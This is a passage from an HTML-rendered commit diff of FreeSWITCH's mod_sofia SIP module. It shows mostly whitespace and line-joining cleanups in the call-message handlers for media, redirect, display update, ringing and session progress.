</del><ins>+                                                                SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;), SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_channel_mark_answered(channel);
</span><span class="cx">                         }
</span><span class="lines">@@ -1370,14 +1414,14 @@
</span><span class="cx">                         if (!tech_pvt-&gt;local_sdp_str) {
</span><span class="cx">                                 sofia_glue_tech_absorb_sdp(tech_pvt);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sofia_glue_do_invite(session);
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx"> 
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
</span><span class="cx">                 {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Sending media re-direct:\n%s\n&quot;, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Sending media re-direct:\n%s\n&quot;,
</ins><span class="cx">                                                           switch_channel_get_name(channel), msg-&gt;string_arg);
</span><span class="cx">                         sofia_glue_tech_set_local_sdp(tech_pvt, msg-&gt;string_arg, SWITCH_TRUE);
</span><span class="cx"> 
</span><span class="lines">@@ -1394,9 +1438,9 @@
</span><span class="cx"> 
</span><span class="cx">                         sofia_glue_set_image_sdp(tech_pvt, t38_options);
</span><span class="cx"> 
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Sending request for image media. %s\n&quot;, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Sending request for image media. %s\n&quot;,
</ins><span class="cx">                                                           switch_channel_get_name(channel), tech_pvt-&gt;local_sdp_str);
</span><del>-                                                          
</del><ins>+
</ins><span class="cx">                         switch_channel_set_flag(channel, CF_REQ_MEDIA);
</span><span class="cx">                         sofia_set_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
</span><span class="cx">                         sofia_glue_do_invite(session);
</span><span class="lines">@@ -1405,48 +1449,48 @@
</span><span class="cx"> 
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_MEDIA:
</span><span class="cx">                 {
</span><del>-            uint32_t send_invite = 1;
</del><ins>+                        uint32_t send_invite = 1;
</ins><span class="cx"> 
</span><span class="cx">                         switch_channel_clear_flag(channel, CF_PROXY_MODE);
</span><span class="cx">                         sofia_glue_tech_set_local_sdp(tech_pvt, NULL, SWITCH_FALSE);
</span><span class="cx"> 
</span><del>-            if (!(switch_channel_test_flag(channel, CF_ANSWERED) || switch_channel_test_flag(channel, CF_EARLY_MEDIA))) {
-                if (!switch_channel_test_flag(tech_pvt-&gt;channel, CF_OUTBOUND)) {
-                    const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
</del><ins>+                        if (!(switch_channel_test_flag(channel, CF_ANSWERED) || switch_channel_test_flag(channel, CF_EARLY_MEDIA))) {
+                                if (!switch_channel_test_flag(tech_pvt-&gt;channel, CF_OUTBOUND)) {
+                                        const char *r_sdp = switch_channel_get_variable(channel, SWITCH_R_SDP_VARIABLE);
</ins><span class="cx"> 
</span><del>-                    tech_pvt-&gt;num_codecs = 0;
</del><ins>+                                        tech_pvt-&gt;num_codecs = 0;
</ins><span class="cx">                                         sofia_glue_tech_prepare_codecs(tech_pvt);
</span><del>-                    if (sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                        if (sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                                 switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, &quot;CODEC NEGOTIATION ERROR&quot;);
</span><del>-                        status = SWITCH_STATUS_FALSE;
-                        goto end_lock;
-                    }
-                    send_invite = 0;
-                }
-            }
</del><ins>+                                                status = SWITCH_STATUS_FALSE;
+                                                goto end_lock;
+                                        }
+                                        send_invite = 0;
+                                }
+                        }
</ins><span class="cx"> 
</span><del>-            if (!switch_rtp_ready(tech_pvt-&gt;rtp_session)) {
</del><ins>+                        if (!switch_rtp_ready(tech_pvt-&gt;rtp_session)) {
</ins><span class="cx">                                 sofia_glue_tech_prepare_codecs(tech_pvt);
</span><del>-                if ((status = sofia_glue_tech_choose_port(tech_pvt, 0)) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                if ((status = sofia_glue_tech_choose_port(tech_pvt, 0)) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><del>-                    goto end_lock;
-                }
-            }
</del><ins>+                                        goto end_lock;
+                                }
+                        }
</ins><span class="cx">                         sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
</span><span class="cx"> 
</span><del>-            if (send_invite) {
</del><ins>+                        if (send_invite) {
</ins><span class="cx">                                 switch_channel_set_flag(channel, CF_REQ_MEDIA);
</span><span class="cx">                                 sofia_glue_do_invite(session);
</span><del>-            }
-        }
-        break;
</del><ins>+                        }
+                }
+                break;
</ins><span class="cx"> 
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_SIMPLIFY:
</span><span class="cx">                 {
</span><span class="cx">                         char *ref_to, *ref_by;
</span><span class="cx">                         const char *uuid;
</span><span class="cx">                         const char *call_id = NULL, *to_user = NULL, *to_host = NULL, *to_tag = NULL, *from_tag = NULL, *from_user = NULL, *from_host = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                                 switch_core_session_t *rsession;
</span><span class="cx">                                 if ((rsession = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -1470,14 +1514,14 @@
</span><span class="cx">                                         switch_core_session_rwunlock(rsession);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (to_user &amp;&amp; to_host &amp;&amp; from_user &amp;&amp; from_host &amp;&amp; call_id &amp;&amp; to_tag &amp;&amp; from_tag) {
</span><span class="cx">                                 char in[512] = &quot;&quot;, out[1536] = &quot;&quot;;
</span><span class="cx"> 
</span><span class="cx">                                 switch_snprintf(in, sizeof(in), &quot;%s;to-tag=%s;from-tag=%s&quot;, call_id, to_tag, from_tag);
</span><span class="cx">                                 switch_url_encode(in, out, sizeof(out));
</span><span class="cx"> 
</span><del>-                                ref_to = switch_mprintf(&quot;&lt;sip:%s@%s?Replaces=%s&gt;&quot;, to_user, to_host, out); 
</del><ins>+                                ref_to = switch_mprintf(&quot;&lt;sip:%s@%s?Replaces=%s&gt;&quot;, to_user, to_host, out);
</ins><span class="cx">                                 ref_by = switch_mprintf(&quot;&lt;sip:%s@%s&gt;&quot;, from_user, from_host);
</span><span class="cx"> 
</span><span class="cx">                                 nua_refer(tech_pvt-&gt;nh, SIPTAG_REFER_TO_STR(ref_to), SIPTAG_REFERRED_BY_STR(ref_by), TAG_END());
</span><span class="lines">@@ -1492,7 +1536,7 @@
</span><span class="cx">                         char *arg = NULL;
</span><span class="cx">                         char *argv[2] = { 0 };
</span><span class="cx">                         int argc;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(name) &amp;&amp; !zstr(msg-&gt;string_arg)) {
</span><span class="cx">                                 arg = strdup(msg-&gt;string_arg);
</span><span class="cx">                                 switch_assert(arg);
</span><span class="lines">@@ -1502,7 +1546,7 @@
</span><span class="cx">                                 number = argv[1];
</span><span class="cx"> 
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!zstr(name)) {
</span><span class="cx">                                 char message[256] = &quot;&quot;;
</span><span class="cx">                                 const char *ua = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_user_agent&quot;);
</span><span class="lines">@@ -1515,39 +1559,35 @@
</span><span class="cx">                                 if (!sofia_test_flag(tech_pvt, TFLAG_UPDATING_DISPLAY)) {
</span><span class="cx">                                         if (zstr(tech_pvt-&gt;last_sent_callee_id_name) || strcmp(tech_pvt-&gt;last_sent_callee_id_name, name) ||
</span><span class="cx">                                                 zstr(tech_pvt-&gt;last_sent_callee_id_number) || strcmp(tech_pvt-&gt;last_sent_callee_id_number, number)) {
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote)) {
</span><span class="cx">                                                         snprintf(message, sizeof(message), &quot;X-FS-Display-Name: %s\nX-FS-Display-Number: %s\n&quot;, name, number);
</span><span class="cx"> 
</span><span class="cx">                                                         nua_info(tech_pvt-&gt;nh, SIPTAG_CONTENT_TYPE_STR(&quot;message/update_display&quot;),
</span><span class="cx">                                                                          TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                                         TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
-                                                                         TAG_END());
</del><ins>+                                                                         TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)), TAG_END());
</ins><span class="cx">                                                 } else if (ua &amp;&amp; switch_stristr(&quot;snom&quot;, ua)) {
</span><span class="cx">                                                         snprintf(message, sizeof(message), &quot;From:\r\nTo: \&quot;%s\&quot; %s\r\n&quot;, name, number);
</span><span class="cx">                                                         nua_info(tech_pvt-&gt;nh, SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag&quot;),
</span><del>-                                                                         TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
-                                                                         SIPTAG_PAYLOAD_STR(message), TAG_END());
</del><ins>+                                                                         TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
</ins><span class="cx">                                                 } else if ((ua &amp;&amp; (switch_stristr(&quot;polycom&quot;, ua)))) {
</span><span class="cx">                                                         snprintf(message, sizeof(message), &quot;P-Asserted-Identity: \&quot;%s\&quot; &lt;%s&gt;&quot;, name, number);
</span><span class="cx">                                                         sofia_set_flag_locked(tech_pvt, TFLAG_UPDATING_DISPLAY);
</span><span class="cx">                                                         nua_update(tech_pvt-&gt;nh,
</span><span class="cx">                                                                            TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                                           TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
-                                                                           TAG_END());
</del><ins>+                                                                           TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)), TAG_END());
</ins><span class="cx">                                                 } else if ((ua &amp;&amp; (switch_stristr(&quot;aastra&quot;, ua)))) {
</span><span class="cx">                                                         snprintf(message, sizeof(message), &quot;P-Asserted-Identity: \&quot;%s\&quot; &lt;sip:%s@%s&gt;&quot;, name, number, tech_pvt-&gt;profile-&gt;sipip);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         sofia_set_flag_locked(tech_pvt, TFLAG_UPDATING_DISPLAY);
</span><span class="cx">                                                         nua_update(tech_pvt-&gt;nh,
</span><span class="cx">                                                                            TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                                           TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
-                                                                           TAG_END());
</del><ins>+                                                                           TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)), TAG_END());
</ins><span class="cx">                                                 }
</span><span class="cx"> 
</span><span class="cx">                                                 tech_pvt-&gt;last_sent_callee_id_name = switch_core_session_strdup(tech_pvt-&gt;session, name);
</span><span class="cx">                                                 tech_pvt-&gt;last_sent_callee_id_number = switch_core_session_strdup(tech_pvt-&gt;session, number);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 if (switch_event_create(&amp;event, SWITCH_EVENT_CALL_UPDATE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         const char *uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><span class="cx">                                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Direction&quot;, &quot;SEND&quot;);
</span><span class="lines">@@ -1581,14 +1621,12 @@
</span><span class="cx">                                 if (ua &amp;&amp; switch_stristr(&quot;snom&quot;, ua)) {
</span><span class="cx">                                         snprintf(message, sizeof(message), &quot;From:\r\nTo: \&quot;%s\&quot; %s\r\n&quot;, msg-&gt;string_arg, tech_pvt-&gt;caller_profile-&gt;destination_number);
</span><span class="cx">                                         nua_info(tech_pvt-&gt;nh, SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag&quot;),
</span><del>-                                                         TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
-                                                         SIPTAG_PAYLOAD_STR(message), TAG_END());
</del><ins>+                                                         TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)), SIPTAG_PAYLOAD_STR(message), TAG_END());
</ins><span class="cx">                                 } else if (ua &amp;&amp; switch_stristr(&quot;polycom&quot;, ua)) {
</span><span class="cx">                                         snprintf(message, sizeof(message), &quot;P-Asserted-Identity: \&quot;%s\&quot; &lt;%s&gt;&quot;, msg-&gt;string_arg, tech_pvt-&gt;caller_profile-&gt;destination_number);
</span><span class="cx">                                         nua_update(tech_pvt-&gt;nh,
</span><span class="cx">                                                            TAG_IF(!zstr_buf(message), SIPTAG_HEADER_STR(message)),
</span><del>-                                                           TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)),
-                                                           TAG_END());
</del><ins>+                                                           TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -1610,16 +1648,16 @@
</span><span class="cx">                                 if (!strchr(msg-&gt;string_arg, '&lt;') &amp;&amp; !strchr(msg-&gt;string_arg, '&gt;')) {
</span><span class="cx">                                         dest = switch_core_session_sprintf(session, &quot;\&quot;unknown\&quot; &lt;%s&gt;&quot;, msg-&gt;string_arg);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Redirecting to %s\n&quot;, dest);
</span><span class="cx"> 
</span><span class="cx">                                 nua_respond(tech_pvt-&gt;nh, SIP_302_MOVED_TEMPORARILY, SIPTAG_CONTACT_STR(dest),
</span><del>-                                                        TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
-                                                        TAG_END());
</del><ins>+                                                        TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
</ins><span class="cx">                                 sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
</span><span class="cx">                                 switch_safe_free(extra_headers);
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Too late for redirecting to %s, already answered\n&quot;, msg-&gt;string_arg);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Too late for redirecting to %s, already answered\n&quot;,
+                                                                  msg-&gt;string_arg);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="lines">@@ -1639,7 +1677,7 @@
</span><span class="cx">                         sofia_wait_for_reply(tech_pvt, 9999, 300);
</span><span class="cx">                         switch_mutex_lock(tech_pvt-&gt;sofia_mutex);
</span><span class="cx">                         if ((var = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;sip_refer_reply&quot;))) {
</span><del>-                                msg-&gt;string_reply = switch_core_session_strdup(session, var); 
</del><ins>+                                msg-&gt;string_reply = switch_core_session_strdup(session, var);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 msg-&gt;string_reply = &quot;no reply&quot;;
</span><span class="cx">                         }
</span><span class="lines">@@ -1650,7 +1688,7 @@
</span><span class="cx">                 if (msg-&gt;numeric_arg || msg-&gt;string_arg) {
</span><span class="cx">                         int code = msg-&gt;numeric_arg;
</span><span class="cx">                         const char *reason = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (code) {
</span><span class="cx">                                 reason = msg-&gt;string_arg;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1672,7 +1710,7 @@
</span><span class="cx">                                         goto end_lock;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(reason) &amp;&amp; code != 407 &amp;&amp; code != 302) {
</span><span class="cx">                                 reason = sip_status_phrase(code);
</span><span class="cx">                                 if (zstr(reason)) {
</span><span class="lines">@@ -1713,7 +1751,7 @@
</span><span class="cx">                                                                 SIPTAG_HEADER_STR(generate_pai_str(session)),
</span><span class="cx">                                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><span class="cx">                                                                 TAG_IF(!zstr(max_forwards), SIPTAG_MAX_FORWARDS_STR(max_forwards)), TAG_END());
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         sofia_set_flag_locked(tech_pvt, TFLAG_BYE);
</span><span class="cx">                                         switch_safe_free(extra_headers);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1724,7 +1762,7 @@
</span><span class="cx">                                         *p = '\0';
</span><span class="cx">                                         msg-&gt;string_arg = p;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 msg-&gt;message_id = SWITCH_MESSAGE_INDICATE_REDIRECT;
</span><span class="cx">                                 switch_core_session_receive_message(session, msg);
</span><span class="cx">                                 goto end_lock;
</span><span class="lines">@@ -1734,7 +1772,7 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Responding with %d [%s]\n&quot;, code, reason);
</span><span class="cx">                                         if (!zstr(((char *) msg-&gt;pointer_arg))) {
</span><span class="cx">                                                 sofia_glue_tech_set_local_sdp(tech_pvt, (char *) msg-&gt;pointer_arg, SWITCH_TRUE);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><span class="cx">                                                         sofia_glue_tech_patch_sdp(tech_pvt);
</span><span class="cx">                                                         sofia_glue_tech_proxy_remote_addr(tech_pvt);
</span><span class="lines">@@ -1743,21 +1781,18 @@
</span><span class="cx">                                                         nua_respond(tech_pvt-&gt;nh, code, su_strdup(nua_handle_home(tech_pvt-&gt;nh), reason), SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><span class="cx">                                                                                 SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str),
</span><span class="cx">                                                                                 SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), NUTAG_INCLUDE_EXTRA_SDP(1), 
-                                                                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
-                                                                                TAG_END());
</del><ins>+                                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), NUTAG_INCLUDE_EXTRA_SDP(1),
+                                                                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         nua_respond(tech_pvt-&gt;nh, code, su_strdup(nua_handle_home(tech_pvt-&gt;nh), reason), SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><span class="cx">                                                                                 NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                                 SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
</span><del>-                                                                                SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),                                                        
-                                                                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
-                                                                                TAG_END());
</del><ins>+                                                                                SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),
+                                                                                TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else {
</span><del>-                                                nua_respond(tech_pvt-&gt;nh, code, su_strdup(nua_handle_home(tech_pvt-&gt;nh), reason), SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact), 
-                                                                        TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
-                                                                        TAG_END());
</del><ins>+                                                nua_respond(tech_pvt-&gt;nh, code, su_strdup(nua_handle_home(tech_pvt-&gt;nh), reason), SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
+                                                                        TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)), TAG_END());
</ins><span class="cx">                                         }
</span><span class="cx">                                         switch_safe_free(extra_headers);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1770,7 +1805,7 @@
</span><span class="cx">                 if (sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_3PCC_PROXY) &amp;&amp; sofia_test_flag(tech_pvt, TFLAG_3PCC)) {
</span><span class="cx">                         switch_channel_mark_ring_ready(channel);
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg-&gt;_file, msg-&gt;_func, msg-&gt;_line, NULL, SWITCH_LOG_INFO, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg-&gt;_file, msg-&gt;_func, msg-&gt;_line, NULL, SWITCH_LOG_INFO,
</ins><span class="cx">                                                           &quot;Pretending to send ringing.  Not available for 3pcc calls\n&quot;);
</span><span class="cx">                         goto end_lock;
</span><span class="cx">                 }
</span><span class="lines">@@ -1782,12 +1817,11 @@
</span><span class="cx"> 
</span><span class="cx">                         nua_respond(tech_pvt-&gt;nh, SIP_180_RINGING,
</span><span class="cx">                                                 SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><del>-                                                SIPTAG_HEADER_STR(generate_pai_str(session)), 
</del><ins>+                                                SIPTAG_HEADER_STR(generate_pai_str(session)),
</ins><span class="cx">                                                 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                 TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
</span><del>-                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote), 
-                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
-                                                TAG_END());
</del><ins>+                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote),
+                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                         switch_safe_free(extra_header);
</span><span class="cx">                         switch_channel_mark_ring_ready(channel);
</span><span class="cx">                 }
</span><span class="lines">@@ -1805,7 +1839,7 @@
</span><span class="cx">                                 sofia_set_flag_locked(tech_pvt, TFLAG_EARLY_MEDIA);
</span><span class="cx">                                 switch_channel_mark_pre_answered(channel);
</span><span class="cx">                                 status = SWITCH_STATUS_SUCCESS;
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg-&gt;_file, msg-&gt;_func, msg-&gt;_line, NULL, SWITCH_LOG_INFO, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_ID_LOG, msg-&gt;_file, msg-&gt;_func, msg-&gt;_line, NULL, SWITCH_LOG_INFO,
</ins><span class="cx">                                                                   &quot;Pretending to send early media.  Not available for 3pcc calls\n&quot;);
</span><span class="cx">                                 goto end_lock;
</span><span class="cx">                         }
</span><span class="lines">@@ -1822,9 +1856,9 @@
</span><span class="cx">                                                 sofia_glue_tech_set_local_sdp(tech_pvt, sdp, SWITCH_TRUE);
</span><span class="cx">                                         }
</span><span class="cx">                                         if (switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 sofia_glue_tech_patch_sdp(tech_pvt);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                                                         goto end_lock;
</span><span class="lines">@@ -1839,8 +1873,8 @@
</span><span class="cx">                                                         tech_pvt-&gt;num_codecs = 0;
</span><span class="cx">                                                         sofia_glue_tech_prepare_codecs(tech_pvt);
</span><span class="cx">                                                         if (zstr(r_sdp) || sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, 
-                                                                                                  &quot;CODEC NEGOTIATION ERROR.  SDP:\n%s\n&quot;, r_sdp ? r_sdp : &quot;NO SDP!&quot;); 
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
+                                                                                                  &quot;CODEC NEGOTIATION ERROR.  SDP:\n%s\n&quot;, r_sdp ? r_sdp : &quot;NO SDP!&quot;);
</ins><span class="cx">                                                                 switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, &quot;CODEC NEGOTIATION ERROR&quot;);
</span><span class="cx">                                                                 //nua_respond(tech_pvt-&gt;nh, SIP_488_NOT_ACCEPTABLE, TAG_END());
</span><span class="cx">                                                                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1873,7 +1907,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><span class="cx">                                         char *extra_header = sofia_glue_get_extra_headers(channel, SOFIA_SIP_PROGRESS_HEADER_PREFIX);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (sofia_use_soa(tech_pvt)) {
</span><span class="cx">                                                 nua_respond(tech_pvt-&gt;nh,
</span><span class="cx">                                                                         SIP_183_SESSION_PROGRESS,
</span><span class="lines">@@ -1884,12 +1918,11 @@
</span><span class="cx">                                                                         SOATAG_REUSE_REJECTED(1),
</span><span class="cx">                                                                         SOATAG_ORDERED_USER(1),
</span><span class="cx">                                                                         SOATAG_ADDRESS(tech_pvt-&gt;adv_sdp_audio_ip),
</span><del>-                                                                        SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), 
</del><ins>+                                                                        SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;),
</ins><span class="cx">                                                                         TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                                         TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
</span><del>-                                                                        TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote), 
-                                                                                   SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
-                                                                        TAG_END());
</del><ins>+                                                                        TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote),
+                                                                                   SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                                         } else {
</span><span class="cx">                                                 nua_respond(tech_pvt-&gt;nh,
</span><span class="cx">                                                                         SIP_183_SESSION_PROGRESS,
</span><span class="lines">@@ -1899,12 +1932,11 @@
</span><span class="cx">                                                                         SIPTAG_HEADER_STR(generate_pai_str(session)),
</span><span class="cx">                                                                         SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><span class="cx">                                                                         SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
</span><del>-                                                                        SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),                                                                        
</del><ins>+                                                                        SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),
</ins><span class="cx">                                                                         TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                                         TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
</span><del>-                                                                        TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote), 
-                                                                                   SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
-                                                                        TAG_END());
</del><ins>+                                                                        TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote),
+                                                                                   SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)), TAG_END());
